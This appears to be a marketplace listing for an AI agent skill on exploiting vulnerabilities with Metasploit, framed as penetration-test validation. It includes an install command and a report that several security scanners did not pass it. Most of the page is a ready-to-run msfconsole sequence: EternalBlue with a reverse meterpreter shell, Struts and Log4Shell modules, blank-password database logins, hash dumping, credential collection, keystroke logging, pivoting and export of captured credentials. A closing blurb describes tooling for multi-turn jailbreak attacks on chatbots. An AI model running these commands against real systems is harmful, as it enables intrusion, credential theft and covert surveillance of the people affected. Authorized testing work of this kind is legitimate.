external/anthropic-cybersecurity-skills/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md
Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.
npx skillsauth add seikaikyo/dash-skills exploiting-vulnerabilities-with-metasploit-frameworkInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.
Unlike offensive red teaming, vulnerability management uses Metasploit to:
# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init
# Launch msfconsole
msfconsole -q
# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025
# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns
# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444
# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
# Only exploit if check confirms vulnerability and authorized
msf6> exploit
# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check
# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check
# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run
# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run
# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run
# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run
# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector
# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy
# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_start
# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv
# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xml
# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfully
check command before exploit when availabletools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.